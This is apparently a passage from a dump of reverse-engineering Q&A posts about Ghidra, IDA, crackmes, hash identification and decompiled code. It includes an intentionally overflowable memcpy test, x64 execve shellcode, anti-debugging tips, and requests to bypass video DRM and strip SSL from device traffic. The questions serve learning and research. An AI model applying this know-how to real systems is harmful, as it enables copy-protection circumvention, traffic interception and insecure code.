+ +I couldn't figure out how to make Ghidra export the above as a struct so I've just dumped it here as Ghidra presented it, since it's quite readable as it is (and I have no idea how I'd rewrite this as a C struct myself, actually :/). + +Looking at buffer_length, if I understand how unions work properly, a function code and a status code (guess-identified from elsewhere) would be kind of exactly the kind of thing you'd want to dump out of a C struct into a network packet. + +ALSO, if you go back and look at the code where it sets message_length to 12, the range from buffer_length extends down to the two undefineds currently underneath maybe_status_code. + +I unfortunately don't know how to tell Ghidra ""go and find me where these two definitions are used!"" from the struct editor, and I don't know how to tell Ghidra ""search in decompiled code"" for field_0x1a and field_0x1b, so these two remain mysteries for now. (I also tried to turn the range into a sub-struct, but then it disappeared in the struct editor.) + +Anyway, my point, and my question is... + +

What direction should I head in so I can make progress with this dissection and get enough context to make sense of what I'm seeing?

+ +Static analysis is proving really cool and interesting, but only because I can decompile to C. Ghidra doesn't provide debugger integration :'(, so I can't fire the shell program up and watch it tick away unless I want to stare at assembly in GDB. + +Which I'm not at all unwilling to do, I just find asm really disorientating. I must admit I've been trying to pick it up for about... wow, I think it's been 15 years now, heh. (All the tutorials I've yet found are either really regimented (to the point I can't piece the details together), assume I'm a vegetable (...8086? uhh....), or try and teach me to juggle by handling me 6 balls to start with.) + +It's very late so I'll leave this question here for now, and possibly add to it / clarify details a little later on. + +One key point: the program I'm reverse engineering is proprietary but its status is ""quietly floating around on the internet if you know what rock to look under"", so I could share more details privately (incidentally my email is in my bio). +" +"['linux', 'crackme']"," Title: Can I trap SIGSEGV (on a Linux) and what are are the conditions to make it works? (for a crackme)Body: I'm writing some crackmes.one challenge and I want to write a challenge where the solution appears on a segmentation fault. (And you have to disassemble the code to find a way to segfault. It should be fun, right?) +I found some hard-to-understand theoretical answer here and there but I can't find a practical solution. Because most of the question are "how to recover from a sigsegv" and most of the answer are "you can't, make your code right so it doesn't segfault". +What would be the most "trap-able" segfault? a call to a null function pointer? a double-free? ...? +What can I do in my signal handler? It seems there are some harsh condition (reentrancy, async-signal-safe function, etc...). +If someone can give me some safe pointer (pun intended) to some kind of documentation, blog, ... or an explanation a bit more useful than "just read the POSIX bible". It would be greatly appreciated. +My code doesn't need to be portable. If it works on a moderately standard Linux (Debian, Redhat, Ubuntu, CentOS) it will be fine. +" +['x64dbg']," Title: I am analyzing an exe with x64dbg but I dont see the address 00401000Body: Will every .exe file start from 00401000 or am I wrong assuming such a thing. + +Edit: total beginner here. + +when the program is first loaded onto x64dbg it immediately goes into a DLL, so I could not see the address 00401000, but indeed it is present by going into the memory map. + +Question: the program goes directly into a DLL, how can I make x64dbg start it from 00401000, I tried setting a breakpoint(software and hardware) at 00401000 and also breaks on events such as ""entry breakpoint"" and ""system breakpoint"" + +thanks for the welcome +" +"['ida', 'linux']"," Title: How can I pass input to my program while debugging it with IDABody: I have a program that waits for the user to enter a string input, how can I enter that string input while debugging my program with IDA? +" +['decryption']," Title: Reverse Engineering Temperatures (RS485 Bus)Body: I have the following hex byte data. Can someone help me reverse engineer the temperatures calculation? + +
ID
+||
+81 00 8c 00 
+82 00 aa 00 
+83 00 04 01 
+84 00 ff 00 
+85 00 21 04 
+
+ +The first byte is the id! 81-84=1-4 + +One of the data is 14,0 C° and another one is 17,0 C°. + +My tries:
+- (Second Byte * 10) + (Third Byte *10/256)
+- (Second Byte - 0x80) / 2
+- (Second Byte / 2) - 0x80
+- Second Byte * 100
+- (Second Byte / 2) - 20 +" +"['decryption', 'encryption', 'cryptography', 'cryptanalysis']"," Title: Determining the hash algorithm usedBody: I have some test data: + +
    +
  1. Test 1
  2. +
+ +
Text: pass1234
+Salt: 33b9d87b83c097ce3ea6e6f84a298f839aafc6d7aa23d909a43ac94bdee35ddf
+Hash: 61477724c136fb285918114792685a4d
+
+ +
    +
  1. Test 2
  2. +
+ +
Text: test1234
+Salt: 33b9d87b83c097ce3ea6e6f84a298f839aafc6d7aa23d909a43ac94bdee35ddf
+Hash: 00281231e8928af48c34ca03e09eebe5
+
+ +
    +
  1. Test 3
  2. +
+ +
Text: simple123
+Salt: b68053c65b06b1b322b6cbc53fce1f614eee9366384a12aa01188bdaa8f14ac3
+Hash: 0c9e564acfe36f51b54b5050741f351c
+
+ +
    +
  1. Test 4
  2. +
+ +
Test: pass1234
+Salt: b68053c65b06b1b322b6cbc53fce1f614eee9366384a12aa01188bdaa8f14ac3
+Hash: 0fc692cc78a51a9650c896c735a1b577
+
+ +They look like MD5 hashes but I could not reproduce them. Does anyone have any idea how to get the algorithm to reproduce these hashes? +" +"['buffer-overflow', 'vulnerability-analysis', 'angr']"," Title: Using Angr in Vulnerability ResearchBody: I would like to use angr for vulnerability research. +I was thinking that if I did the following: + +
p = angr.Project('a.out', auto_load_libs=False)
+sm = p.factory.simulation_manager()
+while len(sm.unconstrained) == 0:
+  sm.step
+
+ +then the unconstrained state could potentially point me to a vulnerability. +I coded an obvious potential buffer overflow as follows: + +
void processPacket( char * pkt )
+{
+    char buffer[255];
+    memcpy(buffer, &pkt[3], *((uint16_t*)&pkt[0]));
+}
+
+ +where the first two bytes of a packet determine the length of the rest of the packet and therefore the length of the memcpy. + +angr did find an unconstrained state, but it was not readily obvious how to examine the unconstrained state to determine the cause of the vulnerability. + +Once I find an unconstrained state, is there a way to determine the cause? Are vulnerability researchers using angr to look for potential vulnerabilities? +Is there a typical methodology to do so? +" +"['ida', 'c++', 'c', 'static-analysis']"," Title: Trouble when reverse engineering a industrial robot software in order to get some valuesBody: For the bit of background, I'm a robotic engineer. +Robotics manufactures hide some parameters of their robots in order to avoid their competition. Now, I need these data to compute the dynamics model of the robot. I'm working on establishing an ideal ""pathfinder"" in term of energy consumption. + +Basically, I have a .dat file gathering all the parameters I want, but I don't know ""which one"" is ""which one"". + +I've copied the code from the robot and dissasembled it using Ida pro. Now, I have some pseudo code that I analyse. + +
  FILE *__cdecl CDynamicData::loadRobcorFile(CDynamicData *this, char 
+
+*filename, unsigned __int16 a3)
+{
+  int v3; // eax@4
+  const char *v4; // ebx@6
+  int v5; // eax@6
+  signed int v6; // edx@6
+  int v7; // eax@7
+  int v8; // eax@8
+  const char *v9; // ebx@11
+  int v10; // eax@11
+  signed int v11; // edx@11
+  int v12; // eax@12
+  int v13; // eax@13
+  signed int v14; // ebx@16
+  int v15; // eax@16
+  signed int v16; // edx@16
+  int v17; // eax@19
+  signed int v18; // edx@19
+  int v19; // eax@20
+  int v20; // eax@25
+  int i; // esi@28
+  float v22; // ST34_4@31
+  int v23; // eax@32
+  int v24; // edi@34
+  int v25; // esi@35
+  float v26; // ST34_4@38
+  FILE *result; // eax@41
+  int v28; // [sp+28h] [bp-400h]@27
+  int nbParam; // [sp+2Ch] [bp-3FCh]@27
+  int v30; // [sp+30h] [bp-3F8h]@34
+  char s; // [sp+40h] [bp-3E8h]@29
+  char src; // [sp+140h] [bp-2E8h]@4
+  char v33; // [sp+240h] [bp-1E8h]@30
+  int v34; // [sp+340h] [bp-E8h]@23
+  int v35; // [sp+3A0h] [bp-88h]@23
+  char v36; // [sp+3B8h] [bp-70h]@23
+  char v37; // [sp+3C0h] [bp-68h]@23
+  char v38; // [sp+3C8h] [bp-60h]@23
+  int v39; // [sp+3D4h] [bp-54h]@23
+  FILE *stream; // [sp+3ECh] [bp-3Ch]@1
+  void *v41; // [sp+3F0h] [bp-38h]@1
+  int v42; // [sp+3F4h] [bp-34h]@1
+  double v43; // [sp+3F8h] [bp-30h]@23
+  double value; // [sp+400h] [bp-28h]@29
+  int v45; // [sp+408h] [bp-20h]@4
+  int indice; // [sp+40Ch] [bp-1Ch]@27
+  int v47; // [sp+410h] [bp-18h]@25
+  int v48; // [sp+414h] [bp-14h]@32
+
+  stream = 0;
+  v42 = 256;
+  readIntValues((CFileParser *)&stream, ""$DYN_DAT"", ""REAL $DYN_DAT[%d]"", &src, 1, &v47);
+  v20 = operator new[](8 * v47, &std::nothrow);
+  *((_DWORD *)this + 3) = v20;
+
+
+  v28 = *((_DWORD *)this + 3);
+  nbParam = v47;
+  indice = 0;
+  if ( v47 > 0 )
+  {
+    i = 0;
+    do
+    {
+      CFileParser::getLine((CFileParser *)&stream, &s);
+      if ( sscanf(&s, ""$DYN_DAT[%d]=%lf"", &indice, &value) != 2 )
+
+      { // Can't acquire data
+        snprintf(&v33, 0x100u, ""%s konnte nicht gelesen werden"", ""$DYN_DAT[%d]=%lf"");
+        extended_internalError(
+      }
+      v22 = value;
+      *(double *)(v28 + 8 * indice - 8) = v22;
+      ++i;
+    }
+    while ( nbParam != i );
+  }
+
+ +Basically, I don't understand the meaning of: + +
  *((_DWORD *)this + 3) = v20;
+
+ +and: + +
      *(double *)(v28 + 8 * indice - 8) = v22;
+
+ +Do you have any ideas ? + +So far, I think it's a pointer of pointer, but I don't understand ""the meaning"" of it because it seems like v28 is a ""local variable"" with unaloccated space ? + +Here is the ""pseudo code"" of the constructor of the object DynDat: + +
int __cdecl CDynamicData::CDynamicData(int a1)
+{
+  int result; // eax@1
+
+  result = a1;
+  *(_BYTE *)a1 = 0;
+  *(_DWORD *)(a1 + 4) = 0;
+  *(_DWORD *)(a1 + 8) = 0;
+  *(_DWORD *)(a1 + 12) = 0;
+  return result;
+}
+
+ +Bonus question: Do you have any idea of the most efficient way to trace back the parsing and use of some values ? + +Kind Regards, +" +"['ida', 'binary-analysis', 'firmware', 'encryption', 'python']"," Title: how can i decrypt huawei HG531s v1 config file?Body: I have tried to follow this guide but +libxmlapi.so didn't have the required ATP_GetInfo1 function +so i moved to the next file libhttpapi.so +it had + +
ATP_GetInfo1
+ATP_GetInfo2 
+ATP_GetInfo3 
+ATP_GetInfo4
+
+ +so i copied the first two . + +then ATP_GetInfo3 from libcfmapi.so file + +then ATP_GetInfo4 from libmsgapi.so file +.... and when i tried to run the script decode_keystore.py but it gave me + +
+ ValueError: Input strings must be a multiple of 16 in length +
+ +.... and i think because the values wasn't in the same length + +The firmware file +" +"['linux', 'elf']"," Title: Why have two symbols tables?Body: Why have two symbol tables if .symtab already contains everything that's in .dynsym ? +" +['ida']," Title: IDA 7 not dissasembling NEC v20 codeBody: So I have an embedded machine from the late 80s I want to mess around with. It uses a NEC v20HL which is an 8088 compatible with some extra 80186 instructions tossed in. I know it uses 64k code segments, reset vector at 0xFFFF0 and ISRs at 0x00 on even addresses. + +I have tried a bunch of different architectures and the only one that looks like 8088/x86 old school is the x86 real 16bit. + +I don't understand how to actually use that information as IDA disassembled even the reset jmpl wrong (EA 0000 FDAF) is clearly a far jump to seg 0 add 0xFDAF but IDA makes it seg000:0xDAF0. What is even worse is 0xFDAF jumps to a faulty instruction?.. +" +"['ida', 'x86', 'hexrays', 'float']"," Title: Weird IDA/Decompiler floating point outputBody: I stumbled upon this (reduced for readability) function. It does weird things that I have never encountered before. + + + +
// a2 is always 60.0
+void some_function(struct_123 *this, float a1, float a2)
+{
+  float v5; // ST10_4
+  float v6; // ST14_4
+
+  this->field_34 = a1;
+  v5 = a2 / (0.011 * 1000.0); // 60.0 / 11.0
+  v6 = v5 - (double)(signed int)v5;
+  this->field_38 = (SLODWORD(v6) >> 31) + (signed int)v5;
+}
+
+ +I know a little bit about IEEE 754 decimals, so i think (SLODWORD(v6) >> 31) yields v6's sign bit. I suspect this is some kind of inlined floor/ceiling rounding operation, but I am anything but sure about this. + +Edit: I stumbled upon the actual non-inlined method. Here it is: + + + +
int __cdecl float_sub_466560(float a1)
+{
+  float v1; // ST04_4
+
+  v1 = (double)(signed int)a1 - a1;
+  return (signed int)a1 - (SLODWORD(v1) >> 31);
+}
+
+ +Edit 2: it seems like the first function I gave adds 1 in the last line. That is part of the function, not the floating point operation. I removed it. + +Edit 3: as requested, here is the assembly for the second function. +I can provide the assembly from the first function, however it is quite big, and I don't really want to extract the right portion of it if it's not necessary. + +
float_sub_466560 proc near
+
+var_8           = dword ptr -8
+var_4           = dword ptr -4
+arg_0           = dword ptr  4
+
+                sub     esp, 8          ; stack frame
+                fld     [esp+8+arg_0]   ; Load Real
+                fist    [esp+8+var_8]   ; Store Integer
+                fisubr  [esp+8+var_8]   ; Subtract Integer Reversed
+                fstp    [esp+8+var_4]   ; Store Real and Pop
+                mov     eax, [esp+8+var_4]
+                mov     ecx, [esp+8+var_8]
+                sar     eax, 1Fh        ; Shift Arithmetic Right
+                sub     ecx, eax        ; Integer Subtraction
+                mov     eax, ecx        ; move result to correct return register
+                add     esp, 8          ; stack frame
+                retn                    ; Return Near from Procedure
+float_sub_466560 endp
+
+" +"['assembly', 'x86']"," Title: Reversing AND / shift instructions used in successionBody: I'm working on reversing some assembly code, and have worked it up into some pseudo code to start off with a reverse attempt. The function performs a kind of encryption on the data passed in, and I'm trying to decrypt it. However, I'm not quite sure where to begin with the reversal itself. Below is the algorithm I'm trying to reverse. + +Question: Since the encoded string is stored in rev3, wouldn't the string data stored there be obliterated when the AND instruction runs? I'm very new at this, but it seems like that wouldn't be reversible. The AND combined with shifts has me really confused. I would be grateful for an approach to reversing this. + +
string = [102, 111, 111] // the string ""foo""
+coded[3];
+for (i = 0; i < len(string); i++){
+
+  rev1 = rev2 = rev3 = string[i]
+
+  rev3 = rev3 & 0x30 // obliterate here?
+  rev1 = rev1 >> 4
+
+  rev3 = rev3 ^ rev1
+  rev1 = rev2
+
+  rev1 = rev1 & 1
+  rev2 = rev2 << 1
+
+  rev1 = rev1 ^ rev2
+  rev3 = rev3 >> 2
+
+  rev1 = rev1 << 2
+  rev3 = rev3 ^ rev1
+  rev3 = rev3 & 0xff
+
+  coded[i] = rev3
+
+}
+
+" +"['windows', 'assembly', 'x86', 'c++']"," Title: Dump the value of register into fileBody: I've reverse engineering little game on windows 32bit. + +I found a string in executable which was interesting for me (it is a board game and this string represents the fact that somebody made a move on the board). + + + +You can see that in the string is moved into eax. But more interesting part here is instruction before that + +
mov ebx,eax
+
+ +Here ebx will contain the coordinate of a move which player made. This is what I'm interested about. I want to dump this coordinate into a file. So what I want to do is to modify assembly(in my case this code is in dll) and just write that data(which is in ebx) into a file. + +I've done a little research but could not found anything useful. All I found is how to patch an executable like make a slightest modifications into assembly which is pretty simple. I was even wondering if there is any tool that could help me achieve this(like shift assembly code to make enough space for me to write some code in it). + +One idea that I have is to write a shellcode which dumps data, then add that shellcode at the end of some section, find my string into .txt section, edit the code to jump to my shellcode and then back to original state. But that would be pretty hard because I'm not really experienced in writing shellcode. +" +"['android', 'apk']"," Title: Android APK debugging: modify value of smali registerBody: I am debugging an apk app that I do not have the sources for. I want to debug it on a smali level, not decompiled. + +I used to do this with apktool, but looking at their website, smali-debugging is deprecated and they point to SmaliIdea - a plugin for android studio. So I installed that, and indeed - it works fine: I can step, set breakpoints, view smali registers (v7,v8,v9 etc) when I set a watchpoint on them. + +What I cant do is actually modify those registers / local variables. I can see them when I set a watchpoint on them, but cant assign a value. + +Looking at ""planned features"" of SmaliIdea: + + + +It doesnt say I cant modify a register at all right now, but doesnt exactly confirm it either. + +This used to be possible with ancient apktool version though! A pretty hefty regression, I would say. (Going back is impractical, too much changed) + +Question: How can i modify those smali registers while debugging? is there a register view I am missing or something? How do other people debug APK on smali level? +" +['ghidra']," Title: ghidra: how to run a python 3 script with headless analyzerBody: I read the documentation of headleass analyzer. It is used to perform analysis on existing binaries. I know that -postscript flag allows to enter the analysis script. I have a java script which works fine. But, I want to use python 3 for the analysis. I want to run that like: + +
./analyzeHeadless ghidra-project-directory -import binary-file -postscript yourpythonscript
+
+ +Is it possible to run python script for the analysis? Also, is there any documentation available to do that? + +
+ Edit: + + I made a following script and it does work fine (but it gives me not + found errors for DecompInterface): + +
import ghidra.app.util.headless.HeadlessScript;
+import ghidra.app.decompiler.ClangNode;
+import ghidra.app.decompiler.ClangToken;
+import ghidra.app.decompiler.ClangLine;
+import ghidra.app.decompiler.ClangTokenGroup;
+import ghidra.app.decompiler.DecompInterface;
+import ghidra.app.decompiler.DecompileResults;
+import ghidra.program.model.address.Address;
+import ghidra.program.model.listing.CodeUnit;
+import ghidra.program.model.listing.Function;
+import ghidra.program.model.listing.FunctionIterator;
+import ghidra.program.model.listing.InstructionIterator;
+import ghidra.program.model.listing.Program;
+import ghidra.program.model.listing.Variable;
+import ghidra.program.model.pcode.HighFunction;
+import ghidra.program.model.pcode.HighSymbol;
+import ghidra.program.model.pcode.HighVariable;
+import ghidra.program.model.pcode.LocalSymbolMap;
+import ghidra.program.model.pcode.PcodeOp;
+import ghidra.program.model.pcode.Varnode;
+import ghidra.program.model.symbol.Symbol;
+import ghidra.program.model.symbol.Reference;
+import ghidra.program.model.symbol.ReferenceIterator;
+import ghidra.util.task.ConsoleTaskMonitor;
+
+args = getScriptArgs()
+
+print(args)
+
+p = currentProgram
+print(p)
+
+filename = ""/projects/zephyr/Ruturaj/ghidra_learning/"" + p.getName() + "".txt""
+print(filename)
+
+#di = DecompInterface()
+#print(di)
+
+
+" +"['anti-debugging', 'shared-object']"," Title: anti-debugger techniques for shared libraryBody: I'm adding copyright protection to a demo version of a shared library. I've seem some recommendations to add timing around license violation detection codes -- which would be debugger + patch targets -- for example RDTSC, GetTickCount(), etc. Unfortunately this shared library doesn't have timing related codes, so adding would stand out and make them relatively easy to find (I see that IDAPro can find all all occurrences of a single instruction such as RDTSC, so I assume OllyDbg can also). Another suggestion is to strip section headers, but that seems applicable only for an exe, not a shared library. + +Currently, what is the leading edge way to either prevent a debugger from handling a shared library, or detect inside the lib that's it being debugged ? +" +"['assembly', 'c', 'shellcode', 'x86-64']"," Title: How to pass param to execve to execute cat a file in x64 Asm?Body: I want execve(""/bin/cat"",[""/bin/cat"",""/test/file""],NULL). + +Here is my asm + +
xor %rdx, %rdx 
+push %rdx
+
+sub $0x16, %rsp
+movb $0x2f, 7(%rsp)
+movl $0x2f6e6962, 8(%rsp)
+movl $0x746163, 12(%rsp)
+leaq 7(%rsp), %rdi
+
+pushq %rdx
+
+push %rdi
+
+mov %rsp, %rsi
+
+movb $0x3b, %al 
+syscall
+
+ +This asm, I can get only `execve(""/bin/cat"",[""/bin/cat""],NULL) only. + +How can I pass param '/test/file' in rsi? +" +"['disassembly', 'windows', 'decryption', 'encryption', 'memory-dump']"," Title: find a video file in memory dump of a processBody: I have a player that plays encrypted video files and works like this: + +
    +
  1. I open an encrypted video file with it
  2. +
  3. it decrypts the video file and writes it to its memory
  4. +
  5. and plays the file from the memory after that
  6. +
+ +and I want to copy the decrypted video file from memory and play it with a usual video player like VLC so I tried to create its memory dump with task manager and hoped to find out the video file there. Sadly I don't know enough to find a video file in a large chunk of bits from memory. I tried to find mp4 patterns in a hex editor (I guessed it might be mp4 because of the unencrypted sample files that they provide before purchase and many mp4 occurrences in the memory dump) and tried every solution that I find online but nothing worked for me so I hoped someone here maybe has an idea and willing to help me how to make it done. + +I upload its memory dump here (after opening a short encrypted video with it) and this is the original encrypted video and this is the player and these two are the prerequisites before installing the player: this and this (the last one is the K-Lite Codec Pack) + +This player doesn't provide any information about the video, but from their unencrypted sample files, it might be 1280x720 and the duration of video file that is inside the memory dump and original encrypted file, is 13 minutes and 26 seconds. + +After loading the video, the disk activity of the process (player) tends to zero (even if I seek to middle or end), and I found a direct ratio between the encrypted video file size and the amount of memory that player occupies, that's why I think video file might be in the memory dump. I just don't know if it is encrypted or not, if not how to find and extract it, if yes how to analyze and find out about its encryption method and hopefully find out a way to decrypt it. + +This video is encrypted by a commercial software named Balas Soft Lock (https://www.copyprotection.net/balas-soft-lock.aspx) and the main reason I want to unlock it is that their player doesn't provide the features that I need (for example keyboard shortcut and fast forward). + +This question is a clone from StackOverflow and still is active. + +Any insight is appreciated, Thanks :) +" +"['encryption', 'encodings', 'hash-functions']"," Title: Reverse Engineering a Vehicle Identification Number (VIN) encodingBody: Not sure if this is the right place so please point me to the right place if needed. + +
+ +I have an input of a VIN (Vehicle Identification Number) number with 17 characters, each character is either an uppercase letter or number. + +The input is then encoded into 24 signed integers, the integers go from -128 to +127. + +There doesn't seem to be any direct linear relationship between the two. + +Does anyone know what this encoding might be? Or, how I should go about trying to reverse engineering it? + +
+ +An example is:
+Input: 1D8HB58D04F177301 +Output:-2|-72|-11|-2|18|100|-69|15|93|120|15|-97|-35|52|85|-114|53|-123|-1|-101|-38|125|-100|113 + +I have access to a dataset mapping the inputs to outputs and also a tool that converts an encoding (24 integers) into a VIN + +
+ +Inexperienced with this so any help is greatly appreciated! +" +"['debugging', 'windbg', 'x64dbg', 'register']"," Title: x64dbg (x32dbg) log registers every step like windbgBody: So I just switched to x64dbg (really using x32 atm) from windbg and so far I like it but the one thing I'm missing is windbg printing all the registers every step in the command window. Anyone know how to get a log like this? +" +"['debugging', 'ollydbg', 'debuggers']"," Title: OllyDbg - After restarting program, breakpoints lostBody: I am new to OllyDbg and I made a small (.NET Console App) program to test if I can crack the password. To set the break point where it writes Incorrect password. I need to run the program first. But after it prints the password is incorrect, it closes, and when I click Debug>Restart it deletes the break point. + +So, how can I fix this? + +I am using OllyDbg 2 +" +['networking']," Title: Can a device be forced to stop using SSL?Body: Lately I’ve become interested in reverse-engineering the APIs used by the Nintendo Switch Online (NSO) services (especially to see if it would be plausible for me to access their Mario Maker 2 API directly due to the lack of a bookmark site) and have been looking for various methods to access the original requests sent. + +The first thing I did was fire up Fiddler to try and read the requests. Obviously, they were sent using HTTPS and there is no reasonable way (that I can find) for me to get the Switch to trust my computer without hacking the Switch (ultimately banning me from the very services I’d like to examine, according to most hacking guides). + +I was ready to give up when I stumbled upon this post on the GBATemp Forums about someone else attempting to read traffic (except from a 3DS), where one member brought up that there are: + +
+ various tools and methods created to force devices to stop using SSL without access to them at all +
+ +Do such tools/methods actually exist that would force my Switch to send plaintext requests that I could read from my proxy? Otherwise, is there anything else I’m not seeing here? +" +"['windows', 'android', 'proxy']"," Title: Downgrade HTTPS (strip SSL ) to HTTP on Windows (if possible)Body: Long Question: I have an Android app: https://transfer.sh/mY240/com.phonegap.voyo.apk + +which connects to an API: http://www.24ur.com/lbin/WebApp/Popplus/Android.php + +the problem is the api authors are now forcing everyone (with 302 redirect) to connect to https version of that endpoint (the endpoint is used by the new app so it still works) the problem is that they use TLS1.2 which Android 4.0 doesn't support (I think you have to enable it but I am not sure how to do that in an app that I did not write (I can dissasemble/reassemble the app so changing endpoints in it is not a problem, but enabling TLS1.2?)) + +end the new app requires Android 5 or later so if I want to use the service which I pay for (Voyo) I have to eather upgrade my tabled (which I don't want to do) or downgrade HTTPS to HTTP so my android 4.0 will be able to connect to the API endpoint again + +Short question: How to strip SSL on Windows so non-https clients (my old android 4.0 ICS tablet) can connect to the HTTPs service again? + +Thanks for Anwsering and Best Regards +" +['ida']," Title: IDA Pro jump to offset of DWORDBody: I have the following instruction in IDAs Decompiler: + +
result = data[3 * a1] + ptr;
+
+ +and would like to know what is at the position if a1=60. + +So I have to look at data[180]. Unfortunately all I see there is + +
.rodata:EDDCCB10          data   dd 0, 10001h, 2 dup(1), 10001h, 1, 2, 10001h, 1, 3, 10001h
+.rodata:EDDCCB10                 dd 1, 4, 10001h, 1, 5, 10001h, 1, 6, 10001h, 1, 7, 10001h
+.rodata:EDDCCB10                 dd 1, 8, 10001h, 1, 0Ch, 10004h, 1, 10h, 10004h, 1, 14h
+.rodata:EDDCCB10                 dd 10004h, 1, 18h, 10004h, 1, 1Ch, 10004h, 1, 20h, 10004h
+.rodata:EDDCCB10                 dd 1, 24h, 10004h, 1, 28h, 10004h, 1, 2Ch, 10010h, 1, 3Ch
+.rodata:EDDCCB10                 dd 10040h, 1, 7Ch, 10006h, 1, 82h, 10001h, 1, 84h, 10078h
+
+ +Of course I could just count 180 elements, but is there really no better way to know whats behind data[180] so I can look what the offset bases on ptr is? +" +"['decompilation', 'java', 'apk', 'libraries', 'shared-object']"," Title: Calling functions of a shared object (.so) extracted from an APKBody: Decompiling a regular Android application I noticed that its code uses some native functions. So, unpacking the (.apk) file I found the usual ""lib"" folder and under that a series of folders for different architectures (arm64-v8a, armeabi-v7a, x86, x86_64). Each folder contains the same (.so) file. + +I decompiled one of them (the one under the x86 folder) using IDA Pro and I found all the functions used natively from the Java code. Since I'm still not so good with assembly code, I would like to reverse the behavior of those functions calling them with different arguments from my own code, maybe linking the (.so) library in some way. I've never done something like this. + +So, do you know a proper way to do this in Windows/Linux? (Preferably Java on Windows?) That could help me a lot to follow the instructions in IDA. +" +"['ida', 'x86', 'segmentation']"," Title: Dealing With x86 Segmentation OverlapsBody: I load my project into IDA 7 and select 8086 as this rom is a 512kb in the high address space. I apply an offset of 0x80000 and it loads properly. + +I then go to 0xFFFF0 and find a far jump to 0xFDAF:0x0 which has far jumps to 0xC000:0x0 and in that segment there are tons of 0xC000:0xNNN (lots of offsets). + +It was a nightmare creating and shrinking segments so I greped through the binary dump and pulled the 8 hex values after every far jump (0xEA). I then formatted and calculated the ohysical addresses. + +You can see in the segment list that the majority of segments overlap (eg): + +
0xC000:0x0000 = 0x0C0000
+0xC000:0x12DB = 0x0C12DB
+0xC003:0xA908 = 0x0CA938
+0xC003:0xC908 = 0x0CC938
+0xC007:0x506A = 0x0C50DA
+0xC013:0x0903 = 0x0C0A33
+
+ +From a running code prospective overlapping segments are irrelevent but IDA can not have overlaps. How am I suppose to walk through the code? + +Files:
+ROM.BIN
+Segment List + +
+ +0x49cdb: ea08a903c0 = jmp 0xc003:a908 + +
00049cb0: 8b36 4a90 8b16 2990 2bf2 5e73 0b8b deb3  .6J...).+.^s....
+00049cc0: 208b f3b0 08a2 8b90 f7c6 2000 7503 e9ab   ......... .u...
+00049cd0: fd8b c6e8 9200 240f 3c07 747e a08a 903c  ......$.<.t~...<
+00049ce0: 0774 05b0 00a2 8a90 a08b 903c 0874 03e9  .t.........<.t..
+00049cf0: 8afd b200 b115 e8d7 45b0 d7e8 820d 8b36  ........E......6
+
+" +"['ida', 'windows', 'assembly', 'x86']"," Title: Find Reference To Resource String In Windows 3.1 16-bit DLL with IDA ProBody: Experimenting Visual Basic 4 in DosBox + Windows 3.1 running on Windows 10. While I have installed SHARE.exe from MS-DOS 6.22 and it seems to run OK, it still fails to detect it. + +The error I get is : ""SHARE.exe must be installed in order to run Visual Basic"" + +I wanted to work out how the SHARE.exe detection works. I installed the Windows 3.1 SDK and tried to debug with CodeView. However I can't figure out how to set a breakpoint on MESSAGEBOX, and I can't use the keyboard shortcut to ""halt"" the system and break into CodeView as it seems to be passed to Windows host instead of Dosbox. + +An analysis of VBIDE.dll I can find the error message: + +
res098:0000 ; Resource, type (8006): String table
+res098:0000 ; File offset      : 26CB0h  Length: 0100h
+res098:0000 ; Attributes (1C30): Movable Pure
+res098:0000 ; Resource ID      : 3143
+res098:0000 ; ===========================================================================
+res098:0000
+res098:0000 ; Segment type: Regular
+res098:0000 res098          segment para public 'RESOURCE' use16
+res098:0000                 assume cs:res098
+res098:0000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
+res098:0000 a8shareExeMustB db '8SHARE.EXE must be installed in order to run Visual Basic',0
+res098:003A aRecordsourcePr db '>RecordSource property of the associated data control is empty.MV'
+res098:003A                 db 'isual Basic was not able to start up due to an invalid system con'
+
+ +The VBIDE.dll is referenced in VB.exe this way: + +
cseg15:2EBF                 mov     es, [bp+var_4+2]
+cseg15:2EC2                 mov     byte ptr es:[si+1], 0
+cseg15:2EC7                 lea     ax, [bp+var_17A]
+cseg15:2ECB                 push    ss
+cseg15:2ECC                 push    ax              ; LPCSTR
+cseg15:2ECD                 push    ds
+cseg15:2ECE                 push    offset aVbideDll ; ""VBIDE.DLL""
+cseg15:2ED1                 call    sub_37E70
+cseg15:2ED6                 mov     word_10C9DC, ax
+cseg15:2ED9                 or      ax, ax
+cseg15:2EDB                 jnz     short loc_389CC
+cseg15:2EDD                 push    ds
+cseg15:2EDE                 push    offset aVbideDll_0 ; ""VBIDE.DLL""
+cseg15:2EE1                 push    ds
+cseg15:2EE2                 push    offset aTheLanguageDll ; ""The language DLL '%s' could not be foun""...
+cseg15:2EE5                 lea     ax, [bp+var_27A]
+
+ +I suspect this word_10C9DC location is important, and it's referenced when calling LOADSTRING (Some examples there are many more) + +
cseg09:269A                 enter   50h, 0
+cseg09:269E                 push    word_10C9DC     ; HINSTANCE
+cseg09:26A2                 push    7D0h            ; UINT
+cseg09:26A5                 lea     ax, [bp+var_28]
+cseg09:26A8                 push    ss
+cseg09:26A9                 push    ax              ; LPSTR
+cseg09:26AA                 push    28h ; '('       ; int
+cseg09:26AC                 call    LOADSTRING
+cseg09:26B1                 push    word_10C9DC     ; HINSTANCE
+cseg09:26B5                 push    [bp+arg_2]      ; UINT
+cseg09:26B8                 lea     ax, [bp+var_50]
+cseg09:26BB                 push    ss
+cseg09:26BC                 push    ax              ; LPSTR
+cseg09:26BD                 push    28h ; '('       ; int
+cseg09:26BF                 call    LOADSTRING
+cseg09:26C4                 lea     ax, [bp+var_28]
+cseg09:26C7                 push    ss
+cseg09:26C8                 push    ax              ; LPCSTR
+cseg09:26C9                 lea     ax, [bp+var_50]
+cseg09:26CC                 push    ss
+cseg09:26CD                 push    ax              ; LPCSTR
+cseg09:26CE                 push    [bp+arg_0]      ; int
+cseg09:26D1                 push    seg cseg04
+cseg09:26D4                 push    offset aVbIni   ; ""VB.INI""
+cseg09:26D7                 call    GETPRIVATEPROFILEINT
+cseg09:26DC                 leave
+
+ +There is a few MESSAGEBOX references: + +MessageBox #1 + +
cseg05:0EC8                 push    0               ; HWND
+cseg05:0ECA                 les     bx, dword_10C1F8
+cseg05:0ECE                 add     bx, es:[bx+9Ah]
+cseg05:0ED3                 push    es
+cseg05:0ED4                 push    bx              ; LPCSTR
+cseg05:0ED5                 push    0
+cseg05:0ED7                 push    0               ; LPCSTR
+cseg05:0ED9                 push    10h             ; UINT
+cseg05:0EDB                 call    MESSAGEBOX
+
+ +MessageBox #2 + +
